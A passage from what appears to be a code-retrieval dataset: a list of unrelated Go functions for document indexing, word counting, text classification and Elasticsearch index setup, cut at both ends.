<- storeIndexDocReq{\n\t\t\tdocId: docId, data: data}\n\t}\n}","func (db *InMemDatabase) StoreDocument(t model.Document) (model.Document, error) {\n\tdb.currentId += 1\n\tt.Id = string(db.currentId)\n\tdb.documents = append(db.documents, t)\n\treturn t, nil\n}","func (impl *Impl) ExtractIndexableWords() []string {\n\tw := make([]string, 0, 20)\n\tw = append(w, fmt.Sprintf(\"%d\", impl.Id))\n\tw = append(w, strings.ToLower(impl.LanguageName))\n\tw = append(w, SplitForIndexing(impl.ImportsBlock, true)...)\n\tw = append(w, SplitForIndexing(impl.CodeBlock, true)...)\n\tif len(impl.AuthorComment) >= 3 {\n\t\tw = append(w, SplitForIndexing(impl.AuthorComment, true)...)\n\t}\n\tif langExtras, ok := langsExtraKeywords[impl.LanguageName]; ok {\n\t\tw = append(w, langExtras...)\n\t}\n\t// Note: we don't index external URLs.\n\treturn w\n}","func (this *WordDictionary) AddWord(word string) {\n \n}","func NewIndex(root string) *Index {\n\tvar x Indexer;\n\n\t// initialize Indexer\n\tx.words = make(map[string]*IndexResult);\n\n\t// collect all Spots\n\tpathutil.Walk(root, &x, nil);\n\n\t// for each word, reduce the RunLists into a LookupResult;\n\t// also collect the word with its canonical spelling in a\n\t// word list for later computation of alternative spellings\n\twords := make(map[string]*LookupResult);\n\tvar wlist RunList;\n\tfor w, h := range x.words {\n\t\tdecls := reduce(&h.Decls);\n\t\tothers := reduce(&h.Others);\n\t\twords[w] = &LookupResult{\n\t\t\tDecls: decls,\n\t\t\tOthers: others,\n\t\t};\n\t\twlist.Push(&wordPair{canonical(w), w});\n\t}\n\n\t// reduce the word list {canonical(w), w} into\n\t// a list of AltWords runs {canonical(w), {w}}\n\talist := wlist.reduce(lessWordPair, newAltWords);\n\n\t// convert alist into a map of alternative spellings\n\talts := make(map[string]*AltWords);\n\tfor i := 0; i < alist.Len(); i++ {\n\t\ta := alist.At(i).(*AltWords);\n\t\talts[a.Canon] = a;\n\t}\n\n\t// convert snippet vector into a list\n\tsnippets := make([]*Snippet, x.snippets.Len());\n\tfor i := 0; i < x.snippets.Len(); i++ {\n\t\tsnippets[i] = x.snippets.At(i).(*Snippet)\n\t}\n\n\treturn &Index{words, alts, snippets, x.nspots};\n}","func New(col *parser.Collection) *Indexer {\n\tindex := make(map[int]map[int]float64)\n\tidfDict := make(map[int]float64)\n\tvocDict := make(map[string]int)\n\tdocDict := make(map[int]*parser.Document)\n\tdocNormDict := make(map[int]float64)\n\treturn &Indexer{col, index, vocDict, idfDict, docDict, docNormDict}\n}","func (wt *WaterTower) AddTagToDocument(tag, uniqueKey string) error {\n\treturn nil\n}","func (i *Index) writeSearch(tr fdb.Transaction, primaryTuple tuple.Tuple, input, oldObject *Struct) error {\n\tnewWords := searchGetInputWords(i, input)\n\ttoAddWords := map[string]bool{}\n\tskip := false\n\tif i.checkHandler != nil {\n\t\tif !i.checkHandler(input.value.Interface()) {\n\t\t\t//fmt.Println(\"skipping index\")\n\t\t\tskip = true\n\t\t}\n\t\t// old value is better to delete any way\n\t}\n\tif !skip {\n\t\tfor _, word := range newWords {\n\t\t\ttoAddWords[word] = true\n\t\t}\n\t\tfmt.Println(\"index words >>\", newWords)\n\t}\n\ttoDeleteWords := map[string]bool{}\n\tif oldObject != nil {\n\t\toldWords := searchGetInputWords(i, oldObject)\n\t\tfor _, word := range oldWords {\n\t\t\t_, ok := toAddWords[word]\n\t\t\tif ok {\n\t\t\t\tdelete(toAddWords, word)\n\t\t\t} else {\n\t\t\t\ttoDeleteWords[word] = true\n\t\t\t}\n\n\t\t}\n\t}\n\tfor word := range toAddWords {\n\t\tkey := tuple.Tuple{word}\n\t\tfullKey := append(key, primaryTuple...)\n\t\tfmt.Println(\"write search key\", fullKey, \"packed\", i.dir.Pack(fullKey))\n\t\ttr.Set(i.dir.Pack(fullKey), []byte{})\n\t}\n\tfor word := range toDeleteWords {\n\t\tkey := tuple.Tuple{word}\n\t\tfullKey := append(key, primaryTuple...)\n\t\ttr.Clear(i.dir.Pack(fullKey))\n\t}\n\treturn nil\n}","func (d *docGenerator) generateIndexDocs(docs map[string][]handlerDoc, versions []string,\n\tdir string) error {\n\n\ttpl, err := d.parse(indexTemplate)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor version, docList := range docs {\n\t\trendered := tpl.render(map[string]interface{}{\n\t\t\t\"handlers\": docList,\n\t\t\t\"version\": version,\n\t\t\t\"versions\": versions,\n\t\t})\n\t\tif err := d.write(fmt.Sprintf(\"%sindex_v%s.html\", dir, version),\n\t\t\t[]byte(rendered), 0644); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}","func BuildIndex(dir string){\n\tconfig := Config()\n\tbuilder := makeIndexBuilder(config)\n\tbuilder.Build(\"/\")\n\tsort.Strings(documents)\n\tsave(documents, config)\n}","func process(document string) {\n\tfmt.Printf(\"\\n> %v\\n\\n\", document)\n\t// the sanitized document\n\tdoc := san.GetDocument(document)\n\tif len(doc) < 1 {\n\t\treturn\n\t}\n\n\t// classification of this document\n\t//fmt.Printf(\"---> %s\\n\", doc)\n\tscores, inx, _ := clssfier.ProbScores(doc)\n\tlogScores, logInx, _ := clssfier.LogScores(doc)\n\tclass := clssfier.Classes[inx]\n\tlogClass := clssfier.Classes[logInx]\n\n\t// the rate of positive sentiment\n\tposrate := float64(count[0]) / float64(count[0]+count[1])\n\tlearned := \"\"\n\n\t// if above the threshold, then learn\n\t// this document\n\tif scores[inx] > *thresh {\n\t\tclssfier.Learn(doc, class)\n\t\tlearned = \"***\"\n\t}\n\n\t// print info\n\tprettyPrintDoc(doc)\n\tfmt.Printf(\"%7.5f %v %v\\n\", scores[inx], class, learned)\n\tfmt.Printf(\"%7.2f %v\\n\", logScores[logInx], logClass)\n\tif logClass != class {\n\t\t// incorrect classification due to underflow\n\t\tfmt.Println(\"CLASSIFICATION ERROR!\")\n\t}\n\tfmt.Printf(\"%7.5f (posrate)\\n\", posrate)\n\t//fmt.Printf(\"%5.5f (high-probability posrate)\\n\", highrate)\n}","func CreateDocument( vehicleid string, latitude, longitude float64 ) error {\n\n\tid := uuid.Must(uuid.NewV4()).String()\n\tjsonData := jsonDocument(vehicleid, latitude, longitude)\n\n\tctx := context.Background()\n\tdoc, err := client.Index().\n\t\tIndex(os.Getenv(\"ELASTICSEARCH_INDEX\")).\n\t\tType(os.Getenv(\"ELASTICSEARCH_TYPE\")).\n\t Id(id).\n\t BodyString(jsonData).\n\t Do(ctx)\n\tcommon.CheckError(err)\n\tlog.Printf(\"Indexed geolocation %s to index %s, type %s\\n\", doc.Id, doc.Index, doc.Type)\n\treturn nil\n}","func (i *Index) Create() error {\n\n\tdoc := mapping{Properties: map[string]mappingProperty{}}\n\tfor _, f := range i.md.Fields {\n\t\tdoc.Properties[f.Name] = mappingProperty{}\n\t\tfs, err := fieldTypeString(f.Type)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdoc.Properties[f.Name][\"type\"] = fs\n\t}\n\n // Added for apple to apple benchmark\n doc.Properties[\"body\"][\"type\"] = \"text\"\n doc.Properties[\"body\"][\"analyzer\"] = \"my_english_analyzer\"\n doc.Properties[\"body\"][\"search_analyzer\"] = \"whitespace\"\n doc.Properties[\"body\"][\"index_options\"] = \"offsets\"\n //doc.Properties[\"body\"][\"test\"] = \"test\"\n index_map := map[string]int{\n \"number_of_shards\" : 1,\n \"number_of_replicas\" : 0,\n }\n analyzer_map := map[string]interface{}{\n \"my_english_analyzer\": map[string]interface{}{\n \"tokenizer\": \"standard\",\n \"char_filter\": []string{ \"html_strip\" } ,\n \"filter\" : []string{\"english_possessive_stemmer\", \n \"lowercase\", \"english_stop\", \n \"english_stemmer\", \n \"asciifolding\", \"icu_folding\"},\n },\n }\n filter_map := map[string]interface{}{\n \"english_stop\": map[string]interface{}{\n \"type\": \"stop\",\n \"stopwords\": \"_english_\",\n },\n \"english_possessive_stemmer\": map[string]interface{}{\n \"type\": \"stemmer\",\n \"language\": \"possessive_english\",\n },\n \"english_stemmer\" : map[string]interface{}{\n \"type\" : \"stemmer\",\n \"name\" : \"english\",\n },\n \"my_folding\": map[string]interface{}{\n \"type\": \"asciifolding\",\n \"preserve_original\": \"false\",\n },\n }\n analysis_map := map[string]interface{}{\n \"analyzer\": analyzer_map,\n \"filter\" : filter_map,\n }\n settings := map[string]interface{}{\n \"index\": index_map,\n \"analysis\": analysis_map,\n }\n\n // TODO delete?\n\t// we currently manually create the autocomplete mapping\n\t/*ac := mapping{\n\t\tProperties: map[string]mappingProperty{\n\t\t\t\"sugg\": mappingProperty{\n\t\t\t\t\"type\": \"completion\",\n\t\t\t\t\"payloads\": true,\n\t\t\t},\n\t\t},\n\t}*/\n\n\tmappings := map[string]mapping{\n\t\ti.typ: doc,\n //\t\"autocomplete\": ac,\n\t}\n\n fmt.Println(mappings)\n\n\t//_, err := i.conn.CreateIndex(i.name).BodyJson(map[string]interface{}{\"mappings\": mappings}).Do()\n\t_, err := i.conn.CreateIndex(i.name).BodyJson(map[string]interface{}{\"mappings\": mappings, \"settings\": settings}).Do()\n\n if err != nil {\n fmt.Println(\"Error \", err)\n\t\tfmt.Println(\"!!!!Get Error when using client to create index\")\n\t}\n\n\treturn err\n}","func (this *Corpus) Load(fn string) {\n\tf, err := os.Open(fn)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tif this.Docs == nil {\n\t\tthis.Docs = make(map[uint32][]*WordCount)\n\t}\n\tvocabMaxId := uint32(0)\n\n\tscanner := bufio.NewScanner(f)\n\tfor scanner.Scan() {\n\t\tdoc := scanner.Text()\n\t\tvals := strings.Split(doc, \" \")\n\t\tif len(vals) < 2 {\n\t\t\tlog.Warningf(\"bad document: %s\", doc)\n\t\t\tcontinue\n\t\t}\n\n\t\tdocId, err := strconv.ParseUint(vals[0], 10, 32)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tthis.DocNum += uint32(1)\n\n\t\tfor _, kv := range vals[1:] {\n\t\t\twc := strings.Split(kv, \":\")\n\t\t\tif len(wc) != 2 {\n\t\t\t\tlog.Warningf(\"bad word count: %s\", kv)\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\twordId, err := strconv.ParseUint(wc[0], 10, 32)\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\tcount, err := strconv.ParseUint(wc[1], 10, 32)\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\tthis.Docs[uint32(docId)] = append(this.Docs[uint32(docId)], &WordCount{\n\t\t\t\tWordId: uint32(wordId),\n\t\t\t\tCount: uint32(count),\n\t\t\t})\n\t\t\tif uint32(wordId) > vocabMaxId {\n\t\t\t\tvocabMaxId = uint32(wordId)\n\t\t\t}\n\t\t}\n\t}\n\tthis.VocabSize = vocabMaxId + 1\n\n\tlog.Infof(\"number of documents %d\", this.DocNum)\n\tlog.Infof(\"vocabulary size %d\", this.VocabSize)\n}","func NewDocument(chainDoc *ChainDocument) *Document {\n\tcontentGroups := make([]*ContentGroup, 0, len(chainDoc.ContentGroups))\n\tcertificates := make([]*Certificate, 0, len(chainDoc.Certificates))\n\n\tfor i, chainContentGroup := range chainDoc.ContentGroups {\n\t\tcontentGroups = append(contentGroups, NewContentGroup(chainContentGroup, i+1))\n\t}\n\n\tfor i, chainCertificate := range chainDoc.Certificates {\n\t\tcertificates = append(certificates, NewCertificate(chainCertificate, i+1))\n\t}\n\n\treturn &Document{\n\t\tHash: chainDoc.Hash,\n\t\tCreatedDate: ToTime(chainDoc.CreatedDate),\n\t\tCreator: chainDoc.Creator,\n\t\tContentGroups: contentGroups,\n\t\tCertificates: certificates,\n\t\tDType: []string{\"Document\"},\n\t}\n}","func (g Generator) NewDocument(eventTime time.Time, d *pathway.Document) *ir.Document {\n\treturn g.documentGenerator.Document(eventTime, d)\n}","func (g *Generator) SetNumWords(count int) {\n\tg.numwords = count\n}","func newDocWithId(c *gin.Context) {\n\tkey := c.Params.ByName(\"id\")\n\tres := saveDocument(key, c)\n\tif res.Ok == false {\n\t\tlog.Printf(\"Error saving document: %s\", res.Error)\n\t\tc.JSON(statusErr, res)\n\t} else {\n\t\tc.JSON(statusOk, res)\n\t}\n}","func (classifier *Classifier) Learn(docs ...Document) {\n\tlog.Infof(\"-----------------------start Learn-----------------------\")\n\tdefer func() {\n\t\tlog.Infof(\"-----------------------end Learn-----------------------\")\n\t}()\n\tclassifier.NAllDocument += len(docs)\n\n\tfor _, doc := range docs {\n\t\tclassifier.NDocumentByClass[doc.Class]++\n\n\t\ttokens := doc.Tokens\n\t\tif classifier.Model == MultinomialBoolean {\n\t\t\ttokens = classifier.removeDuplicate(doc.Tokens...)\n\t\t}\n\n\t\tfor _, token := range tokens {\n\t\t\tclassifier.NFrequencyByClass[doc.Class]++\n\n\t\t\tif _, exist := classifier.LearningResults[token]; !exist {\n\t\t\t\tclassifier.LearningResults[token] = make(map[Class]int)\n\t\t\t}\n\n\t\t\tclassifier.LearningResults[token][doc.Class]++\n\t\t}\n\t}\n\n\tfor class, nDocument := range classifier.NDocumentByClass {\n\t\tlog.Infof(\"class : [%s] nDocument : [%d] NAllDocument : [%d]\", class, nDocument, classifier.NAllDocument)\n\t\tclassifier.PriorProbabilities[class] = float64(nDocument) / float64(classifier.NAllDocument)\n\t}\n}","func New(docs []string) *Index {\n\tm := make(map[string]map[int]bool)\n\n\tfor i := 0; i < len(docs); i++ {\n\t\twords := strings.Fields(docs[i])\n\t\tfor j := 0; j < len(words); j++ {\n\t\t\tif m[words[j]] == nil {\n\t\t\t\tm[words[j]] = make(map[int]bool)\n\t\t\t}\n\t\t\tm[words[j]][i+1] = true\n\t\t}\n\t}\n\treturn &(Index{m})\n}","func prepareDocumentRequest(node models.Node) (elastic.BulkIndexRequest, error) {\n\treq := elastic.NewBulkIndexRequest()\n\treq.OpType(\"index\")\n\treq.Id(node.ID)\n\treq.Doc(node)\n\treq.Index(\"ire\")\n\treturn *req, nil\n}","func GenerateWord() (string, error) {\n\taddress := fmt.Sprintf(\"%s:%v\", cfg.Conf.Word.Service.Host, cfg.Conf.Word.Service.Port)\n\tconn, err := grpc.Dial(address, grpc.WithInsecure())\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"error while connecting: %v\", err)\n\t}\n\tdefer conn.Close()\n\tc := wordgen.NewWordGeneratorClient(conn)\n\tctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\n\tdefer cancel()\n\tresp, err := c.GenerateWord(ctx, &wordgen.GenerateWordReq{})\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"error while making request: %v\", err)\n\t}\n\treturn resp.Word, nil\n}","func NewDocument() *Element {\n\treturn &Element{\n\t\tType: DocumentType,\n\t}\n}","func (indexer Indexer) GetDocDict() *map[int]*parser.Document {\n\treturn &indexer.docDict\n}","func (rn *Runner) initSimDocs() {\n\tvar err error\n\tvar sdoc bson.M\n\n\tif rn.verbose {\n\t\tlog.Println(\"initSimDocs\")\n\t}\n\trand.Seed(time.Now().Unix())\n\ttotal := 512\n\tif rn.filename == \"\" {\n\t\tfor len(simDocs) < total {\n\t\t\tsimDocs = append(simDocs, util.GetDemoDoc())\n\t\t}\n\t\treturn\n\t}\n\n\tif sdoc, err = util.GetDocByTemplate(rn.filename, true); err != nil {\n\t\treturn\n\t}\n\tbytes, _ := json.Marshal(sdoc)\n\tif rn.verbose {\n\t\tlog.Println(string(bytes))\n\t}\n\tdoc := make(map[string]interface{})\n\tjson.Unmarshal(bytes, &doc)\n\n\tfor len(simDocs) < total {\n\t\tndoc := make(map[string]interface{})\n\t\tutil.RandomizeDocument(&ndoc, doc, false)\n\t\tdelete(ndoc, \"_id\")\n\t\tndoc[\"_search\"] = strconv.FormatInt(rand.Int63(), 16)\n\t\tsimDocs = append(simDocs, ndoc)\n\t}\n}","func (o BucketWebsiteOutput) IndexDocument() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v BucketWebsite) *string { return v.IndexDocument }).(pulumi.StringPtrOutput)\n}","func (s Service) CreateDocument(ctx context.Context, req documents.UpdatePayload) (documents.Model, error) {\n\treturn s.pendingDocSrv.Create(ctx, req)\n}","func NewInvertedIndexBySego(docs []Documenter, segmenter *sego.Segmenter, stopword *sego.StopWords) InvertedIndex {\n\tinvertedIndex := make(map[string][]*Node)\n\twg := &sync.WaitGroup{}\n\twg.Add(len(docs))\n\tfor _, d := range docs {\n\t\tgo func(doc Documenter) {\n\t\t\tsegments := segmenter.Segment([]byte(doc.Text()))\n\t\t\tfiltedSegments := stopword.Filter(segments, true)\n\t\t\tdoc.SetSegments(filtedSegments)\n\t\t\twg.Done()\n\t\t}(d)\n\t}\n\twg.Wait()\n\tfor _, doc := range docs {\n\t\tfor _, s := range doc.Segments() {\n\t\t\ttoken := s.Token()\n\t\t\tterm := token.Text()\n\t\t\tlist := invertedIndex[term]\n\t\t\tif list == nil {\n\t\t\t\tnewNode := &Node{doc.Id(), 1, []TermPosition{TermPosition{s.Start(), s.End()}}, doc}\n\t\t\t\tlist = []*Node{newNode}\n\t\t\t} else {\n\t\t\t\tisDupNode := false\n\t\t\t\tfor _, node := range list {\n\t\t\t\t\tif node.Id == doc.Id() {\n\t\t\t\t\t\tnode.TermFrequency += 1\n\t\t\t\t\t\tnewPosition := TermPosition{s.Start(), s.End()}\n\t\t\t\t\t\tnode.TermPositions = append(node.TermPositions, newPosition)\n\t\t\t\t\t\tisDupNode = true\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif !isDupNode {\n\t\t\t\t\tnewNode := &Node{doc.Id(), 1, []TermPosition{TermPosition{s.Start(), s.End()}}, doc}\n\t\t\t\t\tlist = append(list, newNode)\n\t\t\t\t}\n\t\t\t}\n\t\t\tinvertedIndex[term] = list\n\t\t}\n\t}\n\treturn invertedIndex\n}","func Constructor() WordDictionary {\n \n}","func EncodeDocument(doc map[string]string) []byte {\n\n\tencBuf := new(bytes.Buffer)\n\tencoder := gob.NewEncoder(encBuf)\n\terr := encoder.Encode(doc)\n\tif err != nil {\n\t\tlog.Printf(\"Encoder unable to binary encode document for: %#v\\n\", doc)\n\t}\n\treturn encBuf.Bytes()\n\n}","func writer(ch <-chan Word, index *sync.Map, wg *sync.WaitGroup) {\n\tfor {\n\t\tif word, more := <-ch; more {\n\t\t\t// fmt.Printf(\"Writing: %s\\n\", word)\n\t\t\tseen, loaded := index.LoadOrStore(word.word, []int{word.index})\n\t\t\tif loaded && !contains(seen.([]int), word.index) {\n\t\t\t\tseen = append(seen.([]int), word.index)\n\t\t\t\tindex.Store(word.word, seen)\n\t\t\t}\n\t\t} else {\n\t\t\twg.Done()\n\t\t\treturn\n\t\t}\n\t}\n}","func (b *baseCount) process(w word) {\n\tb.Lock()\n\tdefer b.Unlock()\n\n\tif _, ok := b.words[w]; !ok {\n\t\tb.words[w] = 0\n\t}\n\n\tb.words[w] += 1\n}","func Generate(ddb *dynamodb.DynamoDB, verbose bool) error {\n\twords, err := giraffe.GetEnWords()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"getting wordlist\")\n\t}\n\tfor g := range giraffe.Giraffes(words) {\n\t\tfor idx := 0; idx < 10; idx++ {\n\t\t\tfor _, pattern := range patterns {\n\t\t\t\tif pattern == \"\" {\n\t\t\t\t\tpattern = \"/\"\n\t\t\t\t}\n\t\t\t\tvar key = g.Key\n\t\t\t\tvar err error\n\t\t\t\tif pattern != \"/\" {\n\t\t\t\t\tpattern = fmt.Sprintf(pattern, idx)\n\t\t\t\t\tkey, err = key.DeriveFrom(\"/\", pattern)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn errors.Wrap(err, \"deriving key\")\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\taddr, err := address.Generate(address.KindUser, key.PubKeyBytes())\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn errors.Wrap(err, \"generating address\")\n\t\t\t\t}\n\t\t\t\terr = Add(\n\t\t\t\t\tddb,\n\t\t\t\t\tBadAddress{\n\t\t\t\t\t\tAddress: addr,\n\t\t\t\t\t\tPath: pattern,\n\t\t\t\t\t\tReason: fmt.Sprintf(\n\t\t\t\t\t\t\t\"derives from 12-word phrase with identical words: %s\",\n\t\t\t\t\t\t\tg.Word,\n\t\t\t\t\t\t),\n\t\t\t\t\t},\n\t\t\t\t\tfalse,\n\t\t\t\t)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn errors.Wrap(err, \"sending to DDB\")\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}","func (o BucketV2WebsiteOutput) IndexDocument() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v BucketV2Website) *string { return v.IndexDocument }).(pulumi.StringPtrOutput)\n}","func (m *WordModel) AddWord(word string, freqCount float32) {\n\tm.builder.Add(word)\n\tm.frequencies = append(m.frequencies, freqCount)\n}","func indexReviews(reviews []httpResponse, filter_filename string) (map[string] map[string] []int, []string) {\n // Make the indexes\n index := make(map[string] (map[string] []int))\n // Replacer for punctuation in review body\n replacer := strings.NewReplacer(\",\", \"\", \";\", \"\", \".\", \"\", \"!\", \"\")\n // Get the words to filter\n filtered_words := getFilteredWords(filter_filename)\n for _, review := range reviews {\n fmt.Println(\"indexing\")\n fmt.Println(review.url)\n // Copy over title\n curr_title := review.title\n // Format text\n curr_text := strings.ToLower(review.text)\n curr_text = replacer.Replace(curr_text)\n // Filter words out\n filterWords(&curr_text, filtered_words)\n // Format resulting text into slice\n formatted_text := strings.Fields(curr_text)\n // Loop through each word in text and input into index\n for i, word := range formatted_text {\n // Check to see if word is alredy in index\n _, in_index := index[word]\n\n // if word not in index then add it\n if !in_index {\n index[word] = make(map[string] []int)\n }\n // Append current index in review for the given word\n index[word][curr_title] = append(index[word][curr_title], i)\n }\n fmt.Println(\"Finished.\")\n }\n return index, filtered_words\n}","func (d Document) getDocument(fp []string, create bool) (Document, error) {\n\tif len(fp) == 0 {\n\t\treturn d, nil\n\t}\n\tx, err := d.GetField(fp[0])\n\tif err != nil {\n\t\tif create && gcerrors.Code(err) == gcerrors.NotFound {\n\t\t\t// TODO(jba): create the right type for the struct field.\n\t\t\tx = map[string]interface{}{}\n\t\t\tif err := d.SetField(fp[0], x); err != nil {\n\t\t\t\treturn Document{}, err\n\t\t\t}\n\t\t} else {\n\t\t\treturn Document{}, err\n\t\t}\n\t}\n\td2, err := NewDocument(x)\n\tif err != nil {\n\t\treturn Document{}, err\n\t}\n\treturn d2.getDocument(fp[1:], create)\n}","func writeDocumentInfoDict(ctx *PDFContext) error {\n\n\t// => 14.3.3 Document Information Dictionary\n\n\t// Optional:\n\t// Title -\n\t// Author -\n\t// Subject -\n\t// Keywords -\n\t// Creator -\n\t// Producer\t\t modified by pdfcpu\n\t// CreationDate\t modified by pdfcpu\n\t// ModDate\t\t modified by pdfcpu\n\t// Trapped -\n\n\tlog.Debug.Printf(\"*** writeDocumentInfoDict begin: offset=%d ***\\n\", ctx.Write.Offset)\n\n\t// Document info object is optional.\n\tif ctx.Info == nil {\n\t\tlog.Debug.Printf(\"writeDocumentInfoObject end: No info object present, offset=%d\\n\", ctx.Write.Offset)\n\t\t// Note: We could generate an info object from scratch in this scenario.\n\t\treturn nil\n\t}\n\n\tlog.Debug.Printf(\"writeDocumentInfoObject: %s\\n\", *ctx.Info)\n\n\tobj := *ctx.Info\n\n\tdict, err := ctx.DereferenceDict(obj)\n\tif err != nil || dict == nil {\n\t\treturn err\n\t}\n\n\t// TODO Refactor - for stats only.\n\terr = writeInfoDict(ctx, dict)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// These are the modifications for the info dict of this PDF file:\n\n\tdateStringLiteral := DateStringLiteral(time.Now())\n\n\tdict.Update(\"CreationDate\", dateStringLiteral)\n\tdict.Update(\"ModDate\", dateStringLiteral)\n\tdict.Update(\"Producer\", PDFStringLiteral(PDFCPULongVersion))\n\n\t_, _, err = writeDeepObject(ctx, obj)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tlog.Debug.Printf(\"*** writeDocumentInfoDict end: offset=%d ***\\n\", ctx.Write.Offset)\n\n\treturn nil\n}","func (x *Indexer) Add(doc *Doc) error {\n\tdid, err := x.doc2Id(doc)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdoc.Path = \"\"\n\tx.shatter <- &shatterReq{docid: did, offset: doc.Start, d: doc.Dat}\n\treturn nil\n}","func BuildDoc(opts ...DocOption) *Doc {\n\tdoc := &Doc{}\n\tdoc.Context = []string{Context}\n\n\tfor _, opt := range opts {\n\t\topt(doc)\n\t}\n\n\treturn doc\n}","func NewDocumentUpdate(ctx *middleware.Context, handler DocumentUpdateHandler) *DocumentUpdate {\n\treturn &DocumentUpdate{Context: ctx, Handler: handler}\n}","func NewWordCounter() *wordCounter {\n\treturn &wordCounter{\n\t\tcount: 0,\n\t\twordMap: make(map[string]int),\n\t\tmostFrequent: []string{},\n\t\tlock: &sync.RWMutex{},\n\t}\n}","func (wt *WaterTower) PostDocument(uniqueKey string, document *Document) (uint32, error) {\n\tretryCount := 50\n\tvar lastError error\n\tvar docID uint32\n\tnewTags, newDocTokens, wordCount, titleWordCount, err := wt.analyzeDocument(\"new\", document)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tfor i := 0; i < retryCount; i++ {\n\t\tdocID, lastError = wt.postDocumentKey(uniqueKey)\n\t\tif lastError == nil {\n\t\t\tbreak\n\t\t}\n\t}\n\tif lastError != nil {\n\t\treturn 0, fmt.Errorf(\"fail to register document's unique key: %w\", lastError)\n\t}\n\tfor i := 0; i < retryCount; i++ {\n\t\toldDoc, err := wt.postDocument(docID, uniqueKey, wordCount, titleWordCount, document)\n\t\tif err != nil {\n\t\t\tlastError = err\n\t\t\tcontinue\n\t\t}\n\t\toldTags, oldDocTokens, _, _, err := wt.analyzeDocument(\"old\", oldDoc)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t\terr = wt.updateTagsAndTokens(docID, oldTags, newTags, oldDocTokens, newDocTokens)\n\t\tif err != nil {\n\t\t\tlastError = err\n\t\t\tcontinue\n\t\t}\n\t\treturn docID, nil\n\t}\n\treturn 0, fmt.Errorf(\"fail to register document: %w\", lastError)\n}","func (t *simpleTest) createImportDocument() ([]byte, []UserDocument) {\n\tbuf := &bytes.Buffer{}\n\tdocs := make([]UserDocument, 0, 10000)\n\tfmt.Fprintf(buf, `[ \"_key\", \"value\", \"name\", \"odd\" ]`)\n\tfmt.Fprintln(buf)\n\tfor i := 0; i < 10000; i++ {\n\t\tkey := fmt.Sprintf(\"docimp%05d\", i)\n\t\tuserDoc := UserDocument{\n\t\t\tKey: key,\n\t\t\tValue: i,\n\t\t\tName: fmt.Sprintf(\"Imported %d\", i),\n\t\t\tOdd: i%2 == 0,\n\t\t}\n\t\tdocs = append(docs, userDoc)\n\t\tfmt.Fprintf(buf, `[ \"%s\", %d, \"%s\", %v ]`, userDoc.Key, userDoc.Value, userDoc.Name, userDoc.Odd)\n\t\tfmt.Fprintln(buf)\n\t}\n\treturn buf.Bytes(), docs\n}","func (f *TFIDF) Cal(doc string) (weight map[string]float64) {\n\tweight = make(map[string]float64)\n\n\tvar termFreq map[string]int\n\n\tdocPos := f.docPos(doc)\n\tif docPos < 0 {\n\t\ttermFreq = f.termFreq(doc)\n\t} else {\n\t\ttermFreq = f.termFreqs[docPos]\n\t}\n\n\tdocTerms := 0\n\tfor _, freq := range termFreq {\n\t\tdocTerms += freq\n\t}\n\tfor term, freq := range termFreq {\n\t\tweight[term] = tfidf(freq, docTerms, f.termDocs[term], f.n)\n\t}\n\n\treturn weight\n}","func NewDocument(in *yaml.Node, context *compiler.Context) (*Document, error) {\n\terrors := make([]error, 0)\n\tx := &Document{}\n\tm, ok := compiler.UnpackMap(in)\n\tif !ok {\n\t\tmessage := fmt.Sprintf(\"has unexpected value: %+v (%T)\", in, in)\n\t\terrors = append(errors, compiler.NewError(context, message))\n\t} else {\n\t\trequiredKeys := []string{\"discoveryVersion\", \"kind\"}\n\t\tmissingKeys := compiler.MissingKeysInMap(m, requiredKeys)\n\t\tif len(missingKeys) > 0 {\n\t\t\tmessage := fmt.Sprintf(\"is missing required %s: %+v\", compiler.PluralProperties(len(missingKeys)), strings.Join(missingKeys, \", \"))\n\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t}\n\t\tallowedKeys := []string{\"auth\", \"basePath\", \"baseUrl\", \"batchPath\", \"canonicalName\", \"description\", \"discoveryVersion\", \"documentationLink\", \"etag\", \"features\", \"fullyEncodeReservedExpansion\", \"icons\", \"id\", \"kind\", \"labels\", \"methods\", \"mtlsRootUrl\", \"name\", \"ownerDomain\", \"ownerName\", \"packagePath\", \"parameters\", \"protocol\", \"resources\", \"revision\", \"rootUrl\", \"schemas\", \"servicePath\", \"title\", \"version\", \"version_module\"}\n\t\tvar allowedPatterns []*regexp.Regexp\n\t\tinvalidKeys := compiler.InvalidKeysInMap(m, allowedKeys, allowedPatterns)\n\t\tif len(invalidKeys) > 0 {\n\t\t\tmessage := fmt.Sprintf(\"has invalid %s: %+v\", compiler.PluralProperties(len(invalidKeys)), strings.Join(invalidKeys, \", \"))\n\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t}\n\t\t// string kind = 1;\n\t\tv1 := compiler.MapValueForKey(m, \"kind\")\n\t\tif v1 != nil {\n\t\t\tx.Kind, ok = compiler.StringForScalarNode(v1)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for kind: %s\", compiler.Display(v1))\n\t\t\t\terrors = append(errors, compiler.NewError(context, 